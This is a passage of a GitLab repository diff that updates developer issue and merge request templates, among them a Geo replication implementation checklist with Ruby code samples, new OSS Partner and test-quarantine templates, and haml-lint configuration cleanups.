+ # This issue template does not help you write this method.
+ #
+ # This method is called only on Geo secondary sites. It is called when
+ # we want to know which records to replicate. This is not easy to automate
+ # because for example:
+ #
+ # * The "selective sync" feature allows admins to choose which namespaces # to replicate, per secondary site. Most Models are scoped to a
+ # namespace, but the nature of the relationship to a namespace varies
+ # between Models.
+ # * The "selective sync" feature allows admins to choose which shards to
+ # replicate, per secondary site. Repositories are associated with
+ # shards. Most blob types are not, but Project Uploads are.
+ # * Remote stored replicables are not replicated, by default. But the
+ # setting `sync_object_storage` enables replication of remote stored
+ # replicables.
+ #
+ # Search the codebase for examples, and consult a Geo expert if needed.
+ end
+ ...
+ end
+ ```
+
+- [ ] Implement `CoolWidget.replicables_for_current_secondary` above.
+- [ ] Ensure `CoolWidget.replicables_for_current_secondary` is well-tested. Search the codebase for `replicables_for_current_secondary` to find examples of parameterized table specs. You may need to add more `FactoryBot` traits.
+- [ ] If you are using a separate table `cool_widget_states` to track verification state on the Geo primary site, then:
+ - [ ] Do not include `::Gitlab::Geo::VerificationState` on the `CoolWidget` class.
+ - [ ] Add the following lines to the `cool_widget_state.rb` model:
+
+ ```ruby
+ class CoolWidgetState < ApplicationRecord
+ ...
+ self.primary_key = :cool_widget_id
+
+ include ::Gitlab::Geo::VerificationState
+
+ belongs_to :cool_widget, inverse_of: :cool_widget_state
+ ...
+ end
+ ```
+
+ - [ ] Add the following lines to the `cool_widget` model:
+
+ ```ruby
+ class CoolWidget < ApplicationRecord
+ ...
+ has_one :cool_widget_state, inverse_of: :cool_widget
+
+ delegate :verification_retry_at, :verification_retry_at=,
+ :verified_at, :verified_at=,
+ :verification_checksum, :verification_checksum=,
+ :verification_failure, :verification_failure=,
+ :verification_retry_count, :verification_retry_count=,
+ to: :cool_widget_state
+ ...
+ end
+ ```
+
+- [ ] Create `ee/app/replicators/geo/cool_widget_replicator.rb`. Implement the `#carrierwave_uploader` method which should return a `CarrierWave::Uploader`, and implement the class method `.model` to return the `CoolWidget` class:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Geo
+ class CoolWidgetReplicator < Gitlab::Geo::Replicator
+ include ::Geo::BlobReplicatorStrategy
+
+ def self.model
+ ::CoolWidget
+ end
+
+ def carrierwave_uploader
+ model_record.file
+ end
+
+ # The feature flag follows the format `geo_#{replicable_name}_replication`,
+ # so here it would be `geo_cool_widget_replication`
+ def self.replication_enabled_by_default?
+ false
+ end
+
+ override :verification_feature_flag_enabled?
+ def self.verification_feature_flag_enabled?
+ # We are adding verification at the same time as replication, so we
+ # don't need to toggle verification separately from replication. When
+ # the replication feature flag is off, then verification is also off
+ # (see `VerifiableReplicator.verification_enabled?`)
+ true
+ end
+
+ end
+ end
+ ```
+
+- [ ] Generate the feature flag definition file by running the feature flag command and following the command prompts:
+
+ ```shell
+ bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
+ ```
+
+- [ ] Add this replicator class to the method `replicator_classes` in
+ `ee/lib/gitlab/geo.rb`:
+
+ ```ruby
+ REPLICATOR_CLASSES = [
+ ::Geo::PackageFileReplicator,
+ ::Geo::CoolWidgetReplicator
+ ]
+ end
+ ```
+
+- [ ] Create `ee/spec/replicators/geo/cool_widget_replicator_spec.rb` and perform the necessary setup to define the `model_record` variable for the shared examples:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetReplicator do
+ let(:model_record) { build(:cool_widget) }
+
+ include_examples 'a blob replicator'
+ include_examples 'a verifiable replicator'
+ end
+ ```
+
+- [ ] Create `ee/app/models/geo/cool_widget_registry.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class Geo::CoolWidgetRegistry < Geo::BaseRegistry
+ include ::Geo::ReplicableRegistry
+ include ::Geo::VerifiableRegistry
+
+ MODEL_CLASS = ::CoolWidget
+ MODEL_FOREIGN_KEY = :cool_widget_id
+
+ belongs_to :cool_widget, class_name: 'CoolWidget'
+ end
+ ```
+
+- [ ] Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`.
+- [ ] Update `def model_class_factory_name` in `ee/spec/services/geo/registry_consistency_service_spec.rb`.
+- [ ] Update `it 'creates missing registries for each registry class'` in `ee/spec/workers/geo/secondary/registry_consistency_worker_spec.rb`.
+- [ ] Add `cool_widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`.
+- [ ] Create `ee/spec/factories/geo/cool_widget_registry.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ FactoryBot.define do
+ factory :geo_cool_widget_registry, class: 'Geo::CoolWidgetRegistry' do
+ cool_widget
+ state { Geo::CoolWidgetRegistry.state_value(:pending) }
+
+ trait :synced do
+ state { Geo::CoolWidgetRegistry.state_value(:synced) }
+ last_synced_at { 5.days.ago }
+ end
+
+ trait :failed do
+ state { Geo::CoolWidgetRegistry.state_value(:failed) }
+ last_synced_at { 1.day.ago }
+ retry_count { 2 }
+ last_sync_failure { 'Random error' }
+ end
+
+ trait :started do
+ state { Geo::CoolWidgetRegistry.state_value(:started) }
+ last_synced_at { 1.day.ago }
+ retry_count { 0 }
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/models/geo/cool_widget_registry_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetRegistry, :geo, type: :model do
+ let_it_be(:registry) { create(:geo_cool_widget_registry) }
+
+ specify 'factory is valid' do
+ expect(registry).to be_valid
+ end
+
+ include_examples 'a Geo framework registry'
+ include_examples 'a Geo verifiable registry'
+ end
+ ```
+
+#### Step 2. Implement metrics gathering
+
+Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
+
+- [ ] Add the following fields to Geo Node Status example responses in `doc/api/geo_nodes.md`:
+ - `cool_widgets_count`
+ - `cool_widgets_checksum_total_count`
+ - `cool_widgets_checksummed_count`
+ - `cool_widgets_checksum_failed_count`
+ - `cool_widgets_synced_count`
+ - `cool_widgets_failed_count`
+ - `cool_widgets_registry_count`
+ - `cool_widgets_verification_total_count`
+ - `cool_widgets_verified_count`
+ - `cool_widgets_verification_failed_count`
+ - `cool_widgets_synced_in_percentage`
+ - `cool_widgets_verified_in_percentage`
+- [ ] Add the same fields to `GET /geo_nodes/status` example response in
+ `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
+- [ ] Add the following fields to the `Sidekiq metrics` table in `doc/administration/monitoring/prometheus/gitlab_metrics.md`:
+ - `geo_cool_widgets`
+ - `geo_cool_widgets_checksum_total`
+ - `geo_cool_widgets_checksummed`
+ - `geo_cool_widgets_checksum_failed`
+ - `geo_cool_widgets_synced`
+ - `geo_cool_widgets_failed`
+ - `geo_cool_widgets_registry`
+ - `geo_cool_widgets_verification_total`
+ - `geo_cool_widgets_verified`
+ - `geo_cool_widgets_verification_failed`
+- [ ] Add the following to the parameterized table in the `context 'Replicator stats' do` block in `ee/spec/models/geo_node_status_spec.rb`:
+
+ ```ruby
+ Geo::CoolWidgetReplicator | :cool_widget | :geo_cool_widget_registry
+ ```
+
+- [ ] Add the following to `spec/factories/cool_widgets.rb`:
+
+ ```ruby
+ trait(:verification_succeeded) do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
+
+ trait(:verification_failed) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
+ ```
+
+- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
+
+Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
+
+#### Step 3. Implement the GraphQL API
+
+The GraphQL API is used by `Admin > Geo > Replication Details` views, and is directly queryable by administrators.
+
+- [ ] Add a new field to `GeoNodeType` in `ee/app/graphql/types/geo/geo_node_type.rb`:
+
+ ```ruby
+ field :cool_widget_registries, ::Types::Geo::CoolWidgetRegistryType.connection_type,
+ null: true,
+ resolver: ::Resolvers::Geo::CoolWidgetRegistriesResolver,
+ description: 'Find Cool Widget registries on this Geo node',
+ feature_flag: :geo_cool_widget_replication
+ ```
+
+- [ ] Add the new `cool_widget_registries` field name to the `expected_fields` array in `ee/spec/graphql/types/geo/geo_node_type_spec.rb`.
+- [ ] Create `ee/app/graphql/resolvers/geo/cool_widget_registries_resolver.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Resolvers
+ module Geo
+ class CoolWidgetRegistriesResolver < BaseResolver
+ type ::Types::Geo::GeoNodeType.connection_type, null: true
+
+ include RegistriesResolver
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/graphql/resolvers/geo/cool_widget_registries_resolver_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Resolvers::Geo::CoolWidgetRegistriesResolver do
+ it_behaves_like 'a Geo registries resolver', :geo_cool_widget_registry
+ end
+ ```
+
+- [ ] Create `ee/app/finders/geo/cool_widget_registry_finder.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Geo
+ class CoolWidgetRegistryFinder
+ include FrameworkRegistryFinder
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/finders/geo/cool_widget_registry_finder_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetRegistryFinder do
+ it_behaves_like 'a framework registry finder', :geo_cool_widget_registry
+ end
+ ```
+
+- [ ] Create `ee/app/graphql/types/geo/cool_widget_registry_type.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Types
+ module Geo
+ # rubocop:disable Graphql/AuthorizeTypes because it is included
+ class CoolWidgetRegistryType < BaseObject
+ include ::Types::Geo::RegistryType
+
+ graphql_name 'CoolWidgetRegistry'
+ description 'Represents the Geo replication and verification state of a cool_widget'
+
+ field :cool_widget_id, GraphQL::ID_TYPE, null: false, description: 'ID of the Cool Widget'
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/graphql/types/geo/cool_widget_registry_type_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe GitlabSchema.types['CoolWidgetRegistry'] do
+ it_behaves_like 'a Geo registry type'
+
+ it 'has the expected fields (other than those included in RegistryType)' do
+ expected_fields = %i[cool_widget_id]
+
+ expect(described_class).to have_graphql_fields(*expected_fields).at_least
+ end
+ end
+ ```
+
+- [ ] Add integration tests for providing CoolWidget registry data to the frontend via the GraphQL API, by duplicating and modifying the following shared examples in `ee/spec/requests/api/graphql/geo/registries_spec.rb`:
+
+ ```ruby
+ it_behaves_like 'gets registries for', {
+ field_name: 'coolWidgetRegistries',
+ registry_class_name: 'CoolWidgetRegistry',
+ registry_factory: :geo_cool_widget_registry,
+ registry_foreign_key_field_name: 'coolWidgetId'
+ }
+ ```
+
+- [ ] Update the GraphQL reference documentation:
+
+ ```shell
+ bundle exec rake gitlab:graphql:compile_docs
+ ```
+
+Individual Cool Widget replication and verification data should now be available via the GraphQL API.
+
+### Release Geo support of Cool Widgets
+
+- [ ] In the rollout issue you created when creating the feature flag, modify the Roll Out Steps:
+ - [ ] Cross out any steps related to testing on production GitLab.com, because Geo is not running on production GitLab.com at the moment.
+ - [ ] Add a step to `Test replication and verification of Cool Widgets on a non-GDK-deployment. For example, using GitLab Environment Toolkit`.
+ - [ ] Add a step to `Ping the Geo PM and EM to coordinate testing`. For example, you might add steps to generate Cool Widgets, and then a Geo engineer may take it from there.
+- [ ] In `ee/config/feature_flags/development/geo_cool_widget_replication.yml`, set `default_enabled: true`
+
+- [ ] In `ee/app/replicators/geo/cool_widget_replicator.rb`, delete the `self.replication_enabled_by_default?` method:
+
+ ```ruby
+ module Geo
+ class CoolWidgetReplicator < Gitlab::Geo::Replicator
+ ...
+
+ # REMOVE THIS METHOD
+ def self.replication_enabled_by_default?
+ false
+ end
+ # REMOVE THIS METHOD
+
+ ...
+ end
+ end
+ ```
+
+- [ ] In `ee/app/graphql/types/geo/geo_node_type.rb`, remove the `feature_flag` option for the released type:
+
+ ```ruby
+ field :cool_widget_registries, ::Types::Geo::CoolWidgetRegistryType.connection_type,
+ null: true,
+ resolver: ::Resolvers::Geo::CoolWidgetRegistriesResolver,
+ description: 'Find Cool Widget registries on this Geo node',
+ feature_flag: :geo_cool_widget_replication # REMOVE THIS LINE
+ ```
+
+- [ ] Add a row for Cool Widgets to the `Data types` table in [Geo data types support](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/datatypes.md#data-types)
+- [ ] Add a row for Cool Widgets to the `Limitations on replication/verification` table in [Geo data types support](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/datatypes.md#limitations-on-replicationverification). If the row already exists, then update it to show that Replication and Verification is released in the current version.
diff --git a/.gitlab/issue_templates/Implementation.md b/.gitlab/issue_templates/Implementation.md
index 888c993766a..058834264b0 100644
--- a/.gitlab/issue_templates/Implementation.md
+++ b/.gitlab/issue_templates/Implementation.md
@@ -39,24 +39,25 @@ Add details for required items and delete others.
<!--
Steps and the parts of the code that will need to get updated. The plan can also
call-out responsibilities for other team members or teams.
--->
+
+e.g.:
- [ ] ~frontend Step 1
- [ ] `@person` Step 1a
- [ ] ~frontend Step 2
+-->
+
<!--
Workflow and other relevant labels
-~"group::" ~"Category:" ~"GitLab Ultimate"
--->
-/label ~"workflow::refinement"
-
-<!--
+# ~"group::" ~"Category:" ~"GitLab Ultimate"
Other settings you might want to include when creating the issue.
-/milestone %"Next 1-3 releases"
-/assign @
-/epic &
+# /assign @
+# /epic &
-->
+
+/label ~"workflow::refinement"
+/milestone %Backlog
diff --git a/.gitlab/issue_templates/Lean Feature Proposal.md b/.gitlab/issue_templates/Lean Feature Proposal.md
index fb9ac306f31..828d5161269 100644
--- a/.gitlab/issue_templates/Lean Feature Proposal.md
+++ b/.gitlab/issue_templates/Lean Feature Proposal.md
@@ -101,3 +101,6 @@ In which enterprise tier should this feature go? See https://about.gitlab.com/ha
### Is this a cross-stage feature?
Communicate if this change will affect multiple Stage Groups or product areas. We recommend always start with the assumption that a feature request will have an impact into another Group. Loop in the most relevant PM and Product Designer from that Group to provide strategic support to help align the Group's broader plan and vision, as well as to avoid UX and technical debt. https://about.gitlab.com/handbook/product/#cross-stage-features -->
+
+/label ~documentation
+/label ~direction
diff --git a/.gitlab/issue_templates/Migrations.md b/.gitlab/issue_templates/Migrations.md
deleted file mode 100644
index 822722a0f71..00000000000
--- a/.gitlab/issue_templates/Migrations.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Project Name | Migration Tracker
-<!-- Please edit this header with your project / organization's name. -->
-
-## Background
-
-<!--
-Please add information here about why you're planning on migrating. Include any initial announcements that have been made about the decision or status.
--->
-
-### Goals
-
-<!-- What are some of the goals of your migration to GitLab? Delete this section if you don't want to enumerate goals. -->
-
-## Quick Facts
-
-<!-- Please complete as many items in this list as possible. If you're not sure yet, add "TBD" (To be Decided) or "Unknown" -->
-
- * **Timeline.** -
- * **Product.** - GitLab Gold/Ultimate or Community Edition
- * **Project's License.** What kind of OSI-approved license does your project use?
-
-## Current Tooling and Replacements
-
-<!--
-Please fill in the table to give an overview of your current tooling. Here's a description of what to include in each column:
-
-- Tool: which tool or platform you are currently using
-- Feature: which particular feature you are using in that tool or platform
-- GitLab feature: equivalent GitLab feature (the GitLab team can help fill this in, as well as the info in the next column)
-- GitLab edition: in which GitLab edition (CE or EE) is this feature available?
-
-Here's an example of a replacements overview from one of the projects which migrated to GitLab: https://gitlab.com/gitlab-org/gitlab/-/issues/25657#gitlab-replacements
-
--->
-
-| Tool | Feature | GitLab feature | GitLab edition |
-| --- | --- | --- | --- |
-| | | | |
-
-## Collaborators
-
-<!-- Please add names of collaborators in the format: Name, Title, Role (what will you be helping to do, or how should you be involved), GitLab username -->
-
-## Related Issues
-
-<!-- Add any related issues that are important for your project by adding the title of the issue and a link to it (preferably as an embedded link). You will probably keep editing this section as the migration progresses, so don't worry if it's mostly blank for now.
-
-Here is an example of what this list might look like once populated: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55039#outstanding-issues
--->
-
-### Blockers
- * [ ] ADD_LINK_TO_ISSUE_HERE
-
-### Urgent
- * [ ]
-
-### Important but not urgent
- * [ ]
-
-### Nice to have
- * [ ]
-
-
-------
-
-/label ~"Open Source" ~movingtogitlab
-/cc @nuritzi
diff --git a/.gitlab/issue_templates/OSS_Partner.md b/.gitlab/issue_templates/OSS_Partner.md
new file mode 100644
index 00000000000..d9c05026e7c
--- /dev/null
+++ b/.gitlab/issue_templates/OSS_Partner.md
@@ -0,0 +1,68 @@
+<!-- Please title your issue with the following format: "Project Name | Issue Tracker". -->
+
+## Background
+
+<!--
+Please add information here about why your project is considering a migration to GitLab, or why it decided to do so. Include any initial announcements that have been / were made about the decision or status.
+-->
+
+### Goals
+
+<!-- What are some of the goals of your migration to GitLab? Delete this section if you don't want to enumerate goals. -->
+
+## Quick Facts
+
+<!-- Please complete as many items in this list as possible. If you're not sure yet, add "TBD" (To be Decided) or "Unknown" -->
+
+ * **Timeline.** -
+ * **Product.** - SaaS-Ultimate/Self-Managed-Ultimate or Community Edition
+ * **Project's License.** What kind of OSI-approved license does your project use?
+
+## Current Tooling and Replacements
+
+<!--
+Please fill in the table to give an overview of your current tooling. Here's a description of what to include in each column:
+
+- Tool: which tool or platform you are currently using
+- Feature: which particular feature you are using in that tool or platform
+- GitLab feature: equivalent GitLab feature (the GitLab team can help fill this in, as well as the info in the next column)
+- GitLab edition: in which GitLab edition (CE or EE) is this feature available?
+
+Here's an example of a replacements overview from one of the projects which migrated to GitLab: https://gitlab.com/gitlab-org/gitlab/-/issues/25657#gitlab-replacements
+
+Consider deleting the table below if you are unable to expand upon your current tooling.
+
+-->
+
+| Tool | Feature | GitLab feature | GitLab edition |
+| --- | --- | --- | --- |
+| | | | |
+
+## Collaborators
+
+<!-- Please add names of collaborators in the format: Name, Title, Role (what will you be helping to do, or how should you be involved), GitLab username -->
+
+## Related Issues
+
+<!-- Add any related issues that are important for your project by adding the title of the issue and a link to it (preferably as an embedded link). You will probably keep editing this section as the migration progresses, so don't worry if it's mostly blank for now.
+
+Here is an example of what this list might look like once populated: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55039#outstanding-issues
+-->
+
+### Blockers
+ * [ ] ADD_LINK_TO_ISSUE_HERE
+
+### Urgent
+ * [ ]
+
+### Important but not urgent
+ * [ ]
+
+### Nice to have
+ * [ ]
+
+
+------
+
+/label ~"Open Source Partners"
+/cc @nuritzi @greg
diff --git a/.gitlab/issue_templates/Productivity Improvement.md b/.gitlab/issue_templates/Productivity Improvement.md
index 974f11f6da3..06692d3ede8 100644
--- a/.gitlab/issue_templates/Productivity Improvement.md
+++ b/.gitlab/issue_templates/Productivity Improvement.md
@@ -34,6 +34,6 @@ after the implementation is merged/deployed/released.
- [ ] The solution improved the situation.
- If yes, check this box and close the issue. Well done! :tada:
- - Otherwise, create a new "Productivity Improvement" issue. You can re-use the description from this issue, but obviously another solution should be chosen this time.
+ - Otherwise, create a new "Productivity Improvement" issue. You can re-use the description from this issue, but another solution should be chosen this time.
/label ~"Engineering Productivity" ~meta
diff --git a/.gitlab/issue_templates/Query Performance Investigation.md b/.gitlab/issue_templates/Query Performance Investigation.md
index ddd361e4f2f..354cdb1bfe1 100644
--- a/.gitlab/issue_templates/Query Performance Investigation.md
+++ b/.gitlab/issue_templates/Query Performance Investigation.md
@@ -10,6 +10,16 @@ As the name implies, the purpose of the template is to detail underperforming qu
- [ ] Provide [priority and severity labels](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#availability)
- [ ] If this requires immediate attention cc `@gitlab-org/database-team` and reach out in the #g_database slack channel
+### SQL Statement
+
+```sql
+
+```
+
+### Data from Elastic
+
+Instructions on collecting data from [PostgreSQL slow logs stored in Elasticsearch](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/3361/diffs)
+
### Requested Data points
Please provide as many of these fields as possible when submitting a query performance report.
@@ -20,7 +30,6 @@ Please provide as many of these fields as possible when submitting a query perfo
- Database time relative to total database time
- Source of calls (Sidekiq, WebAPI, etc)
- Query ID
-- SQL Statement
- Query Plan
- Query Example
- Total number of calls (relative)
diff --git a/.gitlab/issue_templates/Security developer workflow.md b/.gitlab/issue_templates/Security developer workflow.md
index beb066cdfc4..25825fc8888 100644
--- a/.gitlab/issue_templates/Security developer workflow.md
+++ b/.gitlab/issue_templates/Security developer workflow.md
@@ -10,9 +10,10 @@ Set the title to: `Description of the original issue`
- [ ] Read the [security process for developers] if you are not familiar with it.
- Verify if the issue you're working on `gitlab-org/gitlab` is confidential, if it's public fix should be placed on GitLab canonical and no backports are required.
-- [ ] Mark this [issue as related] to the Security Release Tracking Issue. You can find it on the topic of the `#releases` Slack channel.
+- [ ] Mark this [issue as linked] to the Security Release Tracking Issue. You can find it on the topic of the `#releases` Slack channel.
- Fill out the [Links section](#links):
- [ ] Next to **Issue on GitLab**, add a link to the `gitlab-org/gitlab` issue that describes the security vulnerability.
+- [ ] Add one of the `~severity::x` labels to the issue and all associated merge requests.
## Development
@@ -64,6 +65,6 @@ After your merge request has been approved according to our [approval guidelines
[secpick documentation]: https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/utilities/secpick_script.md
[security Release merge request template]: https://gitlab.com/gitlab-org/security/gitlab/blob/master/.gitlab/merge_request_templates/Security%20Release.md
[approval guidelines]: https://docs.gitlab.com/ee/development/code_review.html#approval-guidelines
-[issue as related]: https://docs.gitlab.com/ee/user/project/issues/related_issues.html#adding-a-related-issue
+[issue as linked]: https://docs.gitlab.com/ee/user/project/issues/related_issues.html#add-a-linked-issue
/label ~security
diff --git a/.gitlab/issue_templates/experiment_tracking_template.md b/.gitlab/issue_templates/experiment_tracking_template.md
index 432ae57e594..c653a3a2d40 100644
--- a/.gitlab/issue_templates/experiment_tracking_template.md
+++ b/.gitlab/issue_templates/experiment_tracking_template.md
@@ -27,7 +27,7 @@ As well as defining the experiment rollout and cleanup, this issue incorporates
### What might happen if this goes wrong?
### What can we monitor to detect problems with this?
-<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? Sentry errors reports can alse be useful to review -->
+<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? Sentry errors reports can also be useful to review -->
### Tracked data
<!-- brief description or link to issue or Sisense dashboard -->
@@ -81,6 +81,7 @@ If applicable, any groups/projects that are happy to have this feature turned on
- [ ] Announce on the issue that the flag has been enabled
- [ ] Remove experiment code and feature flag and add changelog entry - a separate [cleanup issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Experiment%20Successful%20Cleanup) might be required
- [ ] After the flag removal is deployed, [clean up the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) by running chatops command in `#production` channel
+- [ ] Assign to the product manager to update the [knowledge base](https://about.gitlab.com/direction/growth/#growth-insights-knowledge-base) (if applicable)
## Rollback Steps
diff --git a/.gitlab/merge_request_templates/New End To End Test.md b/.gitlab/merge_request_templates/New End To End Test.md
index c38c3ce340a..9e6c4049b90 100644
--- a/.gitlab/merge_request_templates/New End To End Test.md
+++ b/.gitlab/merge_request_templates/New End To End Test.md
@@ -10,7 +10,7 @@ Please link to the respective test case in the testcases project
- [ ] Note if the test is intended to run in specific scenarios. If a scenario is new, add a link to the MR that adds the new scenario.
- [ ] Follow the end-to-end tests [style guide](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/style_guide.html) and [best practices](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html).
- [ ] Use the appropriate [RSpec metadata tag(s)](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/rspec_metadata_tests.html#rspec-metadata-for-end-to-end-tests).
-- [ ] Ensure that a created resource is removed after test execution.
+- [ ] Ensure that a created resource is removed after test execution. A `Group` resource can be shared between multiple tests. Do not remove it unless it has a unique path. Note that we have a cleanup job that periodically removes groups under `gitlab-qa-sandbox-group`.
- [ ] Ensure that no [transient bugs](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#transient-bugs) are hidden accidentally due to the usage of `waits` and `reloads`.
- [ ] Verify the tags to ensure it runs on the desired test environments.
- [ ] If this MR has a dependency on another MR, such as a GitLab QA MR, specify the order in which the MRs should be merged.
diff --git a/.gitlab/merge_request_templates/Quarantine End to End Test.md b/.gitlab/merge_request_templates/Quarantine End to End Test.md
new file mode 100644
index 00000000000..5794a62df96
--- /dev/null
+++ b/.gitlab/merge_request_templates/Quarantine End to End Test.md
@@ -0,0 +1,44 @@
+## What does this MR do?
+
+<!--
+Please describe why the end-to-end test is being quarantined/ de-quarantined.
+
+Please note that the aim of quarantining a test is not to get back a green pipeline, but rather to reduce
+the noise (due to constantly failing tests, flaky tests, and so on) so that new failures are not missed.
+-->
+
+
+### E2E Test Failure issue(s)
+
+<!-- Please link to the respective E2E test failure issue. -->
+
+
+### Check-list
+
+- [ ] General code guidelines check-list
+ - [ ] [Code review guidelines](https://docs.gitlab.com/ee/development/code_review.html)
+ - [ ] [Style guides](https://docs.gitlab.com/ee/development/contributing/style_guides.html)
+- [ ] Quarantine test check-list
+ - [ ] Follow the [Quarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests).
+ - [ ] Confirm the test has a [`quarantine:` tag with the specified quarantine type](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantined-test-types).
+ - [ ] Note if the test should be [quarantined for a specific environment](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/environment_selection.html#quarantining-a-test-for-a-specific-environment).
+- [ ] Dequarantine test check-list
+ - [ ] Follow the [Dequarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#dequarantining-tests).
+ - [ ] Confirm the test consistently passes on the target GitLab environment(s).
+ - [ ] (Optionally) [Trigger a manual GitLab-QA pipeline](https://about.gitlab.com/handbook/engineering/quality/guidelines/tips-and-tricks/#running-gitlab-qa-pipeline-against-a-specific-gitlab-release) against a specific GitLab environment using the `RELEASE` variable from the `package-and-qa` job of the current merge request.
+- [ ] To ensure a faster turnaround, ask in the `#quality` Slack channel for someone to review and merge the merge request, rather than assigning it directly.
+
+<!-- Base labels. -->
+/label ~"Quality" ~"QA" ~"feature" ~"feature::maintenance"
+
+<!-- Labels to pick into auto-deploy. -->
+/label ~"Pick into auto-deploy" ~"priority::1" ~"severity::1"
+
+<!--
+Choose the stage that appears in the test path, e.g. ~"devops::create" for
+`qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb`.
+-->
+/label ~devops::
+
+<!-- Select the current milestone. -->
+/milestone %
diff --git a/.haml-lint.yml b/.haml-lint.yml
index 4adb5e62f88..0ec1af6a6c1 100644
--- a/.haml-lint.yml
+++ b/.haml-lint.yml
@@ -104,22 +104,18 @@ linters:
# These cops should eventually get enabled
- Cop/LineBreakAfterGuardClauses
- - Cop/LineBreakAroundConditionalBlock
- Cop/ProjectPathHelper
+ - Gitlab/FeatureAvailableUsage
- GitlabSecurity/PublicSend
- Layout/EmptyLineAfterGuardClause
- Layout/LeadingCommentSpace
- - Layout/SpaceAfterColon
- - Layout/SpaceAfterComma
- Layout/SpaceAroundOperators
- Layout/SpaceBeforeBlockBraces
- Layout/SpaceBeforeComma
- Layout/SpaceBeforeFirstArg
- - Layout/SpaceInsideArrayLiteralBrackets
- Layout/SpaceInsideHashLiteralBraces
- Layout/SpaceInsideStringInterpolation
- Layout/TrailingEmptyLines
- - Lint/BooleanSymbol
- Lint/LiteralInInterpolation
- Lint/ParenthesesAsGroupedExpression
- Lint/RedundantWithIndex
@@ -131,18 +127,14 @@ linters:
- Rails/LinkToBlank
- Rails/Presence
- Rails/RequestReferer
- - Style/AndOr
- Style/ColonMethodCall
- Style/ConditionalAssignment
- Style/HashSyntax
- Style/IdenticalConditionalBranches
- Style/NegatedIf
- Style/NestedTernaryOperator
- - Style/Not
- Style/ParenthesesAroundCondition
- - Style/RedundantParentheses
- Style/SelfAssignment
- - Style/Semicolon
- Style/TernaryParentheses
- Style/TrailingCommaInHashLiteral
- Style/UnlessElse
@@ -150,6 +142,9 @@ linters:
- Style/WordArray
- Style/ZeroLengthPredicate
+ # WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/207950
+ - Cop/UserAdmin
+
RubyComments:
enabled: true
diff --git a/.haml-lint_todo.yml b/.haml-lint_todo.yml
index 446bde8cefd..9f201dcc289 100644
--- a/.haml-lint_todo.yml
+++ b/.haml-lint_todo.yml
@@ -1,363 +1,7 @@
# This configuration was generated by
# `haml-lint --auto-gen-config`
-# on 2020-05-21 10:58:59 -0400 using Haml-Lint version 0.34.0.
+# on 2021-04-01 00:00:00 +0000 using Haml-Lint version 0.36.0.
# The point is for the user to remove these configuration records
# one by one as the lints are removed from the code base.
# Note that changes in the inspected code, or installation of new
# versions of Haml-Lint, may require this file to be generated again.
-
-linters:
- # Offense count: 1552
- NoPlainNodes:
- enabled: true
- exclude:
- - 'app/views/admin/abuse_reports/_abuse_report.html.haml'
- - 'app/views/admin/abuse_reports/index.html.haml'
- - 'app/views/admin/appearances/_form.html.haml'
- - 'app/views/admin/application_settings/_abuse.html.haml'
- - 'app/views/admin/application_settings/_diff_limits.html.haml'
- - 'app/views/admin/application_settings/_gitaly.html.haml'
- - 'app/views/admin/application_settings/_ip_limits.html.haml'
